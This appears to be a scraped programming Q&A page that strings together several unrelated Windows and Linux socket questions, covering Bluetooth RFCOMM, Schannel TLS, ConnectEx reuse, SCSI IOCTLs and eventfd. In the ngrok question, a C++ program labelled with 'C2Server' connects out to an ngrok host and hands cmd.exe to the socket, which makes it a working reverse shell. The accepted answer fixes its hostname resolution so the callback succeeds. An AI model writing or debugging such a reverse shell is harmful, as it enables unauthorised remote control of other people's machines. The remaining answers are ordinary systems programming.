Creating a Bluetooth Server with C++ on Windows - c++

I'm trying to create a Bluetooth Server to run on Windows in my computer. I have been reading information in several pages and following some tutorials, but I'm getting an error creating the Bluetooth sockect.
This is the code I have at the moment.
#include "stdafx.h"
#include <WinSock2.h>
#include <ws2bth.h>
#include <bthsdpdef.h>
#include <BluetoothAPIs.h>
#pragma comment(lib, "Ws2_32.lib")
#include <new>
using namespace std;
//Some defines
#define CXN_SUCCESS 0
#define CXN_ERROR 1
void PrintError(char* ProblemMessage, int ErrorCode);
int _tmain(int argc, _TCHAR* argv[])
{
WSADATA wsaData;
if(WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
{
printf("Ha habido un error con wsaData\n");
}
ULONG ulRetCode = CXN_SUCCESS;
LPCSADDR_INFO lpCSAddrInfo = NULL;
TCHAR szThisComputerName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD dwLenComputerName = MAX_COMPUTERNAME_LENGTH + 1;
SOCKET s;
lpCSAddrInfo = (LPCSADDR_INFO) HeapAlloc( GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(CSADDR_INFO) );
if ( NULL == lpCSAddrInfo ) {
wprintf(L"!ERROR! | Unable to allocate memory for CSADDR_INFO\n");
ulRetCode = CXN_ERROR;
}
if ( CXN_SUCCESS == ulRetCode ) {
if ( !GetComputerName(szThisComputerName, &dwLenComputerName) ) {
wprintf(L"=CRITICAL= | GetComputerName() call failed. WSAGetLastError=[%d]\n", WSAGetLastError());
ulRetCode = CXN_ERROR;
}
}
//
// Open a bluetooth socket using RFCOMM protocol
//
if ( CXN_SUCCESS == ulRetCode ) {
//(AF_INET, SOCK_STREAM, IPPROTO_TCP);
s = socket(AF_BTH, SOCK_STREAM, BTHPROTO_RFCOMM);
if (s == INVALID_SOCKET)
{
PrintError("Problem found creating the socket \n",GetLastError());
printf("Error code: %d\n",GetLastError());
exit(1);
}
}
closesocket(s);
WSACleanup();
}
void PrintError(char* ProblemMessage, int ErrorCode)
{
const char* ConnectionString = ": ";
char* CompleteMessage;
LPVOID ReasonMessage;
DWORD ReasonMessageSize;
ReasonMessageSize = FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, ErrorCode, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &ReasonMessage, 0, NULL);
CompleteMessage = new(nothrow) char[lstrlen(ProblemMessage) + lstrlen(ConnectionString) + ReasonMessageSize + 1];
if(!CompleteMessage)
return;
lstrcpy(CompleteMessage, ProblemMessage);
lstrcat(CompleteMessage, ConnectionString);
lstrcat(CompleteMessage, (char*)ReasonMessage);
LocalFree(ReasonMessage);
fprintf(stderr, CompleteMessage);
delete[] CompleteMessage;
}
When I lauch this code, I get the error code 10047: Address family not supported by protocol family. In the line:
s = socket(AF_BTH, SOCK_STREAM, BTHPROTO_RFCOMM);
What am I doing wrong? I filled the fields like it's said here:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa362910%28v=vs.85%29.aspx
And the rest of the code is based on the sample given in:
http://code.msdn.microsoft.com/windowsdesktop/Bluetooth-Connection-e3263296
Some other information that may be relevant, I'm using:
Windows 7
Microsoft Visual Studio 2010
My computer do accept Bluetooth, actually I connect it to a wireless
printer oftenly
Can anyone tell me what am I missing or what am I doing wrong?
Thanks

Related

What causes SEC_E_INVALID_TOKEN?

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#define SECURITY_WIN32
#include <security.h>
#include <schannel.h>
#include <shlwapi.h>
#include <assert.h>
#include <stdio.h>
#include <iostream>
#pragma comment (lib, "ws2_32.lib")
#pragma comment (lib, "secur32.lib")
#pragma comment (lib, "shlwapi.lib")
#define TLS_MAX_PACKET_SIZE (16384+512) // payload + extra over head for header/mac/padding (probably an overestimate)
typedef struct {
SOCKET sock;
CredHandle handle;
CtxtHandle context;
SecPkgContext_StreamSizes sizes;
int received; // byte count in incoming buffer (ciphertext)
int used; // byte count used from incoming buffer to decrypt current packet
int available; // byte count available for decrypted bytes
char* decrypted; // points to incoming buffer where data is decrypted inplace
char incoming[TLS_MAX_PACKET_SIZE];
} tls_socket;
int main() {
const char* hostname = "api.openai.com";
//const char* hostname = "badssl.com";
//const char* hostname = "expired.badssl.com";
//const char* hostname = "wrong.host.badssl.com";
//const char* hostname = "self-signed.badssl.com";
//const char* hostname = "untrusted-root.badssl.com";
const char* path = "/";
tls_socket s;
// initialize windows sockets
WSADATA wsadata;
if (WSAStartup(MAKEWORD(2, 2), &wsadata) != 0) {
return -1;
}
// create TCP IPv4 socket
s.sock = socket(AF_INET, SOCK_STREAM, 0);
if (s.sock == INVALID_SOCKET) {
WSACleanup();
return -1;
}
char sport[64];
wnsprintfA(sport, sizeof(sport), "%u", 443);
// connect to server
if (!WSAConnectByNameA(s.sock, hostname, sport, NULL, NULL, NULL, NULL, NULL, NULL))
{
closesocket(s.sock);
WSACleanup();
return -7;
}
// initialize schannel
{
SCHANNEL_CRED cred {};
cred
.dwVersion = SCHANNEL_CRED_VERSION;
cred .dwFlags = SCH_USE_STRONG_CRYPTO // use only strong crypto alogorithms
| SCH_CRED_AUTO_CRED_VALIDATION // automatically validate server certificate
| SCH_CRED_NO_DEFAULT_CREDS; // no client certificate authentication
cred.grbitEnabledProtocols = SP_PROT_TLS1_2; // allow only TLS v1.2
if (AcquireCredentialsHandleA(NULL, UNISP_NAME_A, SECPKG_CRED_OUTBOUND, NULL, &cred, NULL, NULL, &s.handle, NULL) != SEC_E_OK)
{
closesocket(s.sock);
WSACleanup();
return -1;
}
}
s.received = s.used = s.available = 0;
s.decrypted = NULL;
// perform tls handshake
// 1) call InitializeSecurityContext to create/update schannel context
// 2) when it returns SEC_E_OK - tls handshake completed
// 3) when it returns SEC_I_INCOMPLETE_CREDENTIALS - server requests client certificate (not supported here)
// 4) when it returns SEC_I_CONTINUE_NEEDED - send token to server and read data
// 5) when it returns SEC_E_INCOMPLETE_MESSAGE - need to read more data from server
// 6) otherwise read data from server and go to step 1
CtxtHandle* context = NULL;
int result = 0;
for (;;) {
SecBuffer inbuffers[2] = { 0 };
inbuffers[0].BufferType = SECBUFFER_TOKEN;
inbuffers[0].pvBuffer = s.incoming;
inbuffers[0].cbBuffer = s.received;
inbuffers[1].BufferType = SECBUFFER_EMPTY;
SecBuffer outbuffers[1] = { 0 };
outbuffers[0].BufferType = SECBUFFER_TOKEN;
SecBufferDesc indesc = { SECBUFFER_VERSION, ARRAYSIZE(inbuffers), inbuffers };
SecBufferDesc outdesc = { SECBUFFER_VERSION, ARRAYSIZE(outbuffers), outbuffers };
DWORD flags = ISC_REQ_USE_SUPPLIED_CREDS | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_CONFIDENTIALITY | ISC_REQ_REPLAY_DETECT | ISC_REQ_SEQUENCE_DETECT | ISC_REQ_STREAM;
SECURITY_STATUS sec = InitializeSecurityContextA(
&s.handle,
context,
context ? NULL : (SEC_CHAR*)hostname,
flags,
0,
0,
context ? &indesc : NULL,
0,
context ? NULL : &s.context,
&outdesc,
&flags,
NULL);
if (sec == SEC_E_INVALID_TOKEN) std::cout << "failed\n";
}
}
This is the code I'm running, from https://gist.github.com/mmozeiko/c0dfcc8fec527a90a02145d2cc0bfb6d here. The error code in question is "SEC_E_INVALID_TOKEN" The same error does persist with or without the full code. It only happens on some requests, to some sites. Sending the same request several times, sometimes it has this error, other times it doesn't, and only on this site that I've found so far. What does it mean, and how can I fix it? I don't know what "token" is being referred to, because I don't even see where anything called a token is passed.

How to make C++ accept ngrok address?

I’ve created a simple C++ program that uses sockets to connect to my other machine. I don’t have windows pro so can’t open port 3389 and I don’t want to download other third party applications as I genuinely want to complete what I have finished.
I’m paying for an ngrok address in the format of: 0.tcp.ngrok.io:12345
The program works fine when using my private IP address - however when I use my ngrok address, it doesn’t work. I can still communicate to my machine via the ngrok address through other means, but it seems as if the program is not communicating with the address at all for some reason. I’m not sure if it’s something to do with the fact there are letters in the address? I don’t know - I’m really stuck on this. I’ll show the code below and I would really appreciate it if someone could tell me if there is something I should be doing to get this to work with the ngrok address - or if there is nothing wrong with it at all and it’s a problem with ngrok..
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void RunShell(char* C2Server, int C2Port) {
while(true) {
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP, NULL, (unsigned int)NULL,
(unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server); //IP received from main function
addr.sin_port = htons(C2Port); //Port received from main function
//Connecting to Proxy/ProxyIP/C2Host
if (WSAConnect(mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL,
NULL)==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo,
&pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
//-----------------------------------------------------------
//-----------------------------------------------------------
//-----------------------------------------------------------
int main(int argc, char **argv) {
if (argc == 3) {
int port = atoi(argv[2]); //Converting port in Char datatype to Integer format
RunShell(argv[1], port);
}
else {
char host[] = "0.tcp.ngrok.io";
int port = 12345;
RunShell(host, port);
}
return 0;
}
inet_addr() only works with strings in IP dotted notation, not with hostnames. So, inet_addr("0.tcp.ngrok.io") will fail and return -1 (aka INADDR_NONE), thus you are trying to connect to 255.255.255.255:12345. But it will work fine for something like inet_addr("196.168.#.#") (where # are numbers 0..255).
You need to use getaddrinfo() instead to resolve a hostname to an IP address, eg:
// you should do this only once per process, not per loop iteration...
WSADATA version;
if (WSAStartup(MAKEWORD(2,2), &version) != 0)
{
// error handling...
}
...
addrinfo hints = {}, *addrs;
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
char portBuf[12] = {};
if (getaddrinfo(C2Server, itoa(C2Port, portBuf, 10), &hints, &addrs) != 0)
{
// error handling...
}
//Connecting to Proxy/ProxyIP/C2Host
SOCKET mySocket = INVALID_SOCKET;
for(addrinfo *addr = addrs; addr; addr = addr->ai_next)
{
mySocket = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol);
if (mySocket == INVALID_SOCKET)
continue;
if (connect(mySocket, addr->ai_addr, addr->ai_addrlen) == 0)
break;
closesocket(mySocket);
mySocket = INVALID_SOCKET;
}
freeaddrinfo(addrs);
if (mySocket == INVALID_SOCKET)
{
// error handling...
}
// use mySocket as needed...
closesocket(mySocket);
...
// you should do this only once per process, not per loop iteration...
WSACleanup();
Just note that because ngrok is an external cloud service, your ngrok hostname will resolve to your ngrok server's public Internet IP address, not its private IP address. If that server machine is behind a router/firewall, you will have to configure the router/firewall to port forward a public IP/port to the server's private IP/port.

ConnectEx fails with WSAEISCONN after calling DisconnectEx with TF_REUSE_SOCKET

I have an IOCP based client for which I wanted to implement HTTP redirects in a following way:
1) When encountering a redirect to a different host call DisconnectEx with TF_REUSE_SOCKET
2) Await the overlapped completion and then call ConnectEx
However my code gets a WSAEISCONN return code upon calling ConnectEx even though if I check GetLastError() when the overlapped result of DisconnectEx is returned it gives 0.
An MVCE would be quite big in this case, but if there are no experience based suggestions I'll post one.
Update
I tried to make a MVCE but encountered different symptoms:
#define VC_EXTRALEAN
#define WIN32_LEAN_AND_MEAN
#include <WinSock2.h>
#include <MSWSock.h>
#include <Windows.h>
#include <Ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
#include <stdexcept>
#include <iostream>
#include <sstream>
#include <map>
static inline std::string ErrorMessage(const char* pErrorMessage, ...)
{
std::string sFormattedMessage;
va_list VariableArgumentList;
va_start(VariableArgumentList, pErrorMessage);
sFormattedMessage.resize(_vscprintf(pErrorMessage, VariableArgumentList) + 1);
vsnprintf_s(const_cast<char*>(sFormattedMessage.c_str()), sFormattedMessage.size(), sFormattedMessage.size(), pErrorMessage, VariableArgumentList);
va_end(VariableArgumentList);
return sFormattedMessage;
}
#define CHECK(x, format, ...) { if ((x) == false) throw std::runtime_error(ErrorMessage("%s(%d): "format, __FILE__, __LINE__, __VA_ARGS__)); }
template<typename T>
bool LoadWinsockExtensionFunction(SOCKET Socket, GUID Guid, T* pFunction)
{
DWORD nBytesReturned = 0;
return WSAIoctl(Socket, SIO_GET_EXTENSION_FUNCTION_POINTER, &Guid, sizeof(Guid), pFunction, sizeof(T), &nBytesReturned, NULL, NULL) == 0 && nBytesReturned == sizeof(T);
}
int main(int argc, char** argv)
{
try
{
WORD nRequestedWinsockVersion = MAKEWORD(2, 2);
WSADATA WsaData;
CHECK(WSAStartup(nRequestedWinsockVersion, &WsaData) == 0, "WSAStartup failed");
auto hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, NULL, 0);
CHECK(hCompletionPort != NULL, "CreateIoCompletionPort failed(%d)", GetLastError());
auto Socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
CHECK(Socket != INVALID_SOCKET, "WSASocket failed(%d)", WSAGetLastError());
CHECK(CreateIoCompletionPort(reinterpret_cast<HANDLE>(Socket), hCompletionPort, NULL, 0), "CreateIoCompletionPort failed(%d)", GetLastError());
sockaddr_in LocalAddress;
ZeroMemory(&LocalAddress, sizeof(LocalAddress));
LocalAddress.sin_family = AF_INET;
LocalAddress.sin_addr.s_addr = INADDR_ANY;
LocalAddress.sin_port = 0;
CHECK(bind(Socket, reinterpret_cast<SOCKADDR*>(&LocalAddress), sizeof(LocalAddress)) == 0, "bind failed(%d)", WSAGetLastError());
LPFN_CONNECTEX pConnectEx = nullptr;
CHECK(LoadWinsockExtensionFunction(Socket, WSAID_CONNECTEX, &pConnectEx), "WSAIoctl failed to load ConnectEx(%d)", WSAGetLastError());
LPFN_DISCONNECTEX pDisconnectEx = nullptr;
CHECK(LoadWinsockExtensionFunction(Socket, WSAID_DISCONNECTEX, &pDisconnectEx), "WSAIoctl failed to load DisconnectEx(%d)", WSAGetLastError());
addrinfo Hint;
ZeroMemory(&Hint, sizeof(Hint));
Hint.ai_family = AF_INET;
Hint.ai_protocol = IPPROTO_TCP;
Hint.ai_socktype = SOCK_STREAM;
std::map<std::string, PADDRINFOA> Hosts;
// Scenarios:
// one host - failure to connect on the second try to the first host with 52
// two distinct hosts - failure to connect on the second try to the first host with 52
Hosts.emplace("www.google.com", nullptr);
Hosts.emplace("www.facebook.com", nullptr);
for (auto& Host : Hosts)
{
auto nGetAddressInfoResult = getaddrinfo(Host.first.c_str(), "http", &Hint, &Host.second);
CHECK(nGetAddressInfoResult == 0 && &Host.second, "getaddrinfo failed(%d)", nGetAddressInfoResult);
}
auto Host = Hosts.begin();
WSAOVERLAPPED Overlapped;
ZeroMemory(&Overlapped, sizeof(Overlapped));
while (true)
{
if ((*pConnectEx)(Socket, Host->second->ai_addr, Host->second->ai_addrlen, nullptr, 0, nullptr, &Overlapped) == FALSE)
{
auto nWSAError = WSAGetLastError();
CHECK(nWSAError == ERROR_IO_PENDING, "ConnectEx failed(%d)", nWSAError);
DWORD nBytesTransferred = 0;
ULONG_PTR pCompletionKey = 0;
LPOVERLAPPED pOverlapped = nullptr;
CHECK(GetQueuedCompletionStatus(hCompletionPort, &nBytesTransferred, &pCompletionKey, &pOverlapped, INFINITE), "overlapped operation failed(%d)", GetLastError());
}
CHECK(setsockopt(Socket, SOL_SOCKET, SO_UPDATE_CONNECT_CONTEXT, NULL, 0) == 0, "setsockopt failed(%d)", WSAGetLastError());
CHECK(shutdown(Socket, SD_BOTH) == 0, "shutdown failed(%d)", WSAGetLastError());
if ((*pDisconnectEx)(Socket, &Overlapped, TF_REUSE_SOCKET, 0) == FALSE)
{
auto nWSAError = WSAGetLastError();
CHECK(nWSAError == ERROR_IO_PENDING, "ConnectEx failed(%d)", nWSAError);
DWORD nBytesTransferred = 0;
ULONG_PTR pCompletionKey = 0;
LPOVERLAPPED pOverlapped = nullptr;
CHECK(GetQueuedCompletionStatus(hCompletionPort, &nBytesTransferred, &pCompletionKey, &pOverlapped, INFINITE), "overlapped operation failed(%d)", GetLastError());
}
if (++Host == Hosts.end())
{
Host = Hosts.begin();
}
}
closesocket(Socket);
CloseHandle(hCompletionPort);
for (auto& Host : Hosts)
{
freeaddrinfo(Host.second);
}
WSACleanup();
}
catch (std::exception& Exception)
{
OutputDebugStringA(Exception.what());
std::cout << Exception.what();
return EXIT_FAILURE;
}
return EXIT_SUCCESS;
}
With this snippet what happens is that I get ERROR_DUP_NAME on the second attempt to connect to the same host (TIME_WAIT possibly?). I assume that if I could rebind the socket (but I can't since a second bind call fails with WSAEINVAL which is correct since the socket is already bound) this could even work fine.
What I have in my original code is a redirect from localhost to the actual address of the interface - maybe there simply is a path which in that case gives out WSAEISCONN instead of ERROR_DUP_NAME ? I can't post an MVCE for the original code since then another piece of code that would accept the connections is needed (maybe I'll make one).
I actually found that if DisconnectEx is called by the client then yes, ERROR_DUP_NAME happens because of TIME_WAIT (see this for a detailed analysis). So the bottom line is I should simply not try to reuse sockets in this scenario.

DeviceIoControl for SCSI INQUIRY command returns error 50

I am trying to access a USB scanner through the IOCTL commands. This is on Windows 7. I did not deal with IOCTL coding before, so I first tried the following snippet based on what I could find with a quick search.
#include "stdafx.h"
#include <stddef.h>
#include <Windows.h>
#include <ntddscsi.h>
#include <usbscan.h>
typedef struct
{
SCSI_PASS_THROUGH spt;
BYTE sense[18];
BYTE data[36];
} SPTSD;
LPTSTR ErrorMessage(DWORD error)
{
LPTSTR errorText = NULL;
FormatMessage(
FORMAT_MESSAGE_FROM_SYSTEM
|FORMAT_MESSAGE_ALLOCATE_BUFFER
|FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&errorText,
0,
NULL);
return errorText;
}
int _tmain(int argc, _TCHAR* argv[])
{
HANDLE h = CreateFile(L"\\\\.\\Usbscan0", GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE != h)
{
SPTSD sptsd={0};
sptsd.spt.Length = sizeof (sptsd.spt);
sptsd.spt.SenseInfoLength = sizeof(sptsd.sense);
sptsd.spt.DataTransferLength = sizeof(sptsd.data);
sptsd.spt.SenseInfoOffset = offsetof (SPTSD, sense);
sptsd.spt.DataBufferOffset = offsetof (SPTSD, data);
sptsd.spt.TimeOutValue = 30;
sptsd.spt.DataIn = SCSI_IOCTL_DATA_IN;
sptsd.spt.CdbLength = 6;
sptsd.spt.Cdb[0] = 0x12; // SCSI INQUIRY command
sptsd.spt.Cdb[1] = 0;
sptsd.spt.Cdb[2] = 0;
sptsd.spt.Cdb[3] = 0;
sptsd.spt.Cdb[4] = sizeof(sptsd.data);
sptsd.spt.Cdb[5] = 0;
DWORD dwReturnedBytes;
BOOL b;
b = DeviceIoControl(h, IOCTL_SCSI_PASS_THROUGH, &sptsd, sizeof(sptsd), &sptsd, sizeof(sptsd), &dwReturnedBytes, NULL);
if (b == 0)
{
LPTSTR errortext = ErrorMessage(GetLastError());
wprintf(L"DeviceIoControl(IOCTL_SCSI_PASS_THROUGH-INQUIRY) failed with error %d : %s\r\n", GetLastError(), errortext);
LocalFree(errortext);
}
else
{
wprintf(L"DeviceIoControl(IOCTL_SCSI_PASS_THROUGH-INQUIRY) succeeded\r\n");
for (int i=0; i<dwReturnedBytes; i++)
{
wprintf(L"%02x ", sptsd.data[i]);
}
wprintf(L"\r\nEnd of returned data\r\n");
}
DEVICE_DESCRIPTOR dd;
b = DeviceIoControl(h, IOCTL_GET_DEVICE_DESCRIPTOR, &dd, sizeof(dd), &dd, sizeof(dd), &dwReturnedBytes, NULL);
if (b == 0)
{
LPTSTR errortext = ErrorMessage(GetLastError());
wprintf(L"DeviceIoControl(IOCTL_GET_DEVICE_DESCRIPTOR) failed with error %d : %s\r\n", GetLastError(), errortext);
LocalFree(errortext);
}
else
{
wprintf(L"DeviceIoControl(IOCTL_GET_DEVICE_DESCRIPTOR) succeeded\r\n");
wprintf(L"VendorId = %x, ProductId = %x, Version = %x\r\n", dd.usVendorId, dd.usProductId, dd.usBcdDevice);
wprintf(L"End of returned data\r\n");
}
CloseHandle(h);
}
return 0;
}
I tried both 32-bit and 64-bit versions of Windows 7 but the result is the same on both (error 50 : The request is not supported.). Interestingly, second DeviceIoControl call works and returns the VID/PID of the device, along with the firmware version.
Based on the error message, I would think this IOCTL is not supported. However, I looked into it and found out that this IOCTL code is mandatory for all devices, so there must be something I am doing wrong. How should this code be modified so that the INQUIRY command will succeed?
According to http://msdn.microsoft.com/en-us/library/ff548569%28v=vs.85%29.aspx, these IOCTL codes are recognized by the kernel-mode still image driver for USB buses.
IOCTL_CANCEL_IO
IOCTL_GET_CHANNEL_ALIGN_RQST
IOCTL_GET_DEVICE_DESCRIPTOR
IOCTL_GET_PIPE_CONFIGURATION
IOCTL_GET_USB_DESCRIPTOR
IOCTL_GET_VERSION
IOCTL_READ_REGISTERS
IOCTL_RESET_PIPE
IOCTL_SEND_USB_REQUEST
IOCTL_SET_TIMEOUT
IOCTL_WAIT_ON_DEVICE_EVENT IOCTL_WRITE_REGISTERS
My understanding is that any other IOCTL code should be sent via IOCTL_SEND_USB_REQUEST control code. This explains why trying to send a INQURY command using the above code does not work.
EDIT: It was simply a matter of using WriteFile to send the INQUIRY command and ReadFile to read the response. However, there seems an additional issue that I do not understand: The device wants an extra byte after the 6 bytes of the INQUIRY command to send the response. Otherwise, ReadFile will only return a single byte (0x3). I will update this reply again if I figure out what is happening here.

how to detect eventfd file descriptor close by other program

I have a client/server communicate through eventfd. If either client or server call close(fd) I would like the other end to find out (like file descriptor is closed now). I tried to use select with non-zero timeout, it always return 0 which is timeout. I saw people suggesting use fcntl it doesn't seems to be working either. Any suggestions?
Addtion Details (omitted non important part code, you can see here for how to exchange file descriptor detail code:
It is multi processes application. Server process created eventfd by calling
struct msghdr control_message;
int fd = eventfd(0,0);
*CMSG_DATA(control_message) = fd;
message.msg_control = &control_message;
sendmsg(socket_fd, & message,0); //send this to client
From client side:
recvmsg(socket_fd, & message,0);
//loop using CMSG_NXTHDR(&message, control_message)
int fd = *(int *) CMSG_DATA(contro_message);
Then on server side:
close(fd);
On Client side:
int rc;
rc = dup2(fd,fd);
rc is never invalid.
Checking for a closed file descriptor? How about this?
#include <errno.h>
#include <stdio.h>
#include <string.h>
static void checkit ()
{
int rc;
rc = dup2(2, 2);
if ( rc == -1 )
printf("error %d on dup2(2, 2): %s\n", errno, strerror(errno));
else
printf("dup2 successful\n");
write(2, "still working\n", 14);
}
int main (int argc, char **argv)
{
int rc;
checkit();
close(2);
checkit();
return 0;
}
Running it generates this output:
dup2 successful
still working
error 9 on dup2(2, 2): Bad file descriptor
If this is a multi-threaded application using poll and you want poll to return when the file descriptor is closed by another thread, POLLERR, POLLHUP, or POLLNVAL might help.
Multi-Threaded Version using Poll
And here's a sample that shows how to detect a closed fd with poll (POLLNVAL is the event) in a multi-threaded program:
#include <errno.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
static void *run_poll (void *arg)
{
struct pollfd fds[1];
int rc;
fds[0].fd = 2;
fds[0].events = POLLERR | POLLHUP | POLLNVAL;
//
// Poll indefinitely
//
printf("starting poll\n");
fflush(stdout);
rc = poll((struct pollfd *) &fds, 1, -1);
if ( rc == -1 )
{
printf("POLL returned error %d: %s\n", errno, strerror(errno));
}
else
{
printf("POLL returned %d (revents = 0x%08x): %s %s %s\n",
rc,
fds[0].revents,
( ( fds[0].revents & POLLERR ) ? "pollerr" : "noerr" ),
( ( fds[0].revents & POLLHUP ) ? "pollhup" : "nohup" ),
( ( fds[0].revents & POLLNVAL ) ? "pollnval" : "nonval" ));
}
return NULL;
}
int main (int argc, char **argv)
{
pthread_t thread;
int rc;
rc = pthread_create(&thread, NULL, run_poll, NULL);
usleep(100);
printf("closing stderr\n");
close(2);
usleep(100);
return 0;
}
This generates the output
starting poll
closing stderr
POLL returned 1 (revents = 0x00000020): noerr nohup pollnval